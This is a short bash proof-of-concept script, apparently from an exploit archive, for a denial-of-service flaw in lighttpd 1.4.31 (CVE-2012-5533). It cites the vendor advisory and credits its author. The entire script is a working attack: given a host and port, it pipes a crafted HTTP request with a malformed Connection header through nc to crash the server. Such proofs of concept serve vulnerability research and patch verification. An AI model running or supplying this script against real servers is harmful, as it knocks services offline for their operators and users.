`#!/bin/bash
# simple lighttpd 1.4.31 DOS POC
# CVE-2012-5533
# http://www.lighttpd.net/2012/11/21/1-4-32/
# http://download.lighttpd.net/lighttpd/security/lighttpd_sa_2012_01.txt
# written by Milan Berger <[email protected]>
if [ $# -lt 2 ]
then
echo "usage :$0 <Host/IP> <Port>"
else
echo -ne "GET / HTTP/1.1\r\nHost: pwn.ed\r\nConnection:
TE,,Keep-Alive\r\n\r\n" | nc $1 $2
fi
`